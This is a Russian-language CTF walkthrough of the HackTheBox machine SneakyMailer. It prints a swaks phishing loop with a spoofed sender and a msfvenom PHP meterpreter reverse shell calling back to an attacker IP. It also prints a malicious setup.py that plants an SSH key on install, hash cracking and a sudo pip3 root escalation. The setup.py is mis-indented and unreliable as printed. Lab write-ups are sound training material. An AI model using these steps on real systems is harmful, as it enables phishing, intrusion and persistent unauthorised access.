Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.

10.10.10.197 	sneakymailer.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 — веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197    sneakycorp.htb

На сайте можно найти список сотрудников и соответствующие email’ы.



Для получения всех адресов электронной почты советую использовать email extractor.



А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.

while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt



И видим, что какой-то пользователь переходит по нашей ссылке.



Давайте декодируем данные.



И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.

Entry point


В качестве клиента используем Evolution.









Вводим пароль при подключении и видим два письма.



В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.





Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.





Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197    dev.sneakycorp.htb



Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php



После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
И после обращения к нашему файлу, получаем активную сессию.





USER


Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.





Давайте найдем пароль.

hashcat --example | grep '$apr1' -A2 -B2



hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt



Найденный поддомен также добавим в /etc/hosts.

10.10.10.197    pypi.sneakycorp.htb



На самом деле, установка своего пакета дает нам возможност�� выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директорию.



Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.

from setuptools import setup 
try: 
       f = open('/home/low/.ssh/authorized_keys', 'a') 
f.write('ssh-rsa ... ') 
       f.close() 
except: 
       setup( 
   name='ralfpack', 
   packages=['ralfpack'], 
   description='R', 
   version='0.1', 
   url='http://pypi.sneakymailer.htb:8080/ralfpack', 
   author='ralf', 
   author_email='ralf@ralf.com', 
   keywords=['pip','ralfpack','example'] )

Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).





И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.



Загружаем все файлы на хост.



Получим нормальную оболочку и соберем наш пакет.

python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist



Теперь загрузим его.

python3 setup.py sdist upload -r ralfpack



Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.



ROOT


Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.



Обращаемся к GTFOBins и видим инструкцию получения шелла.



Повторяем и получаем шелл от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.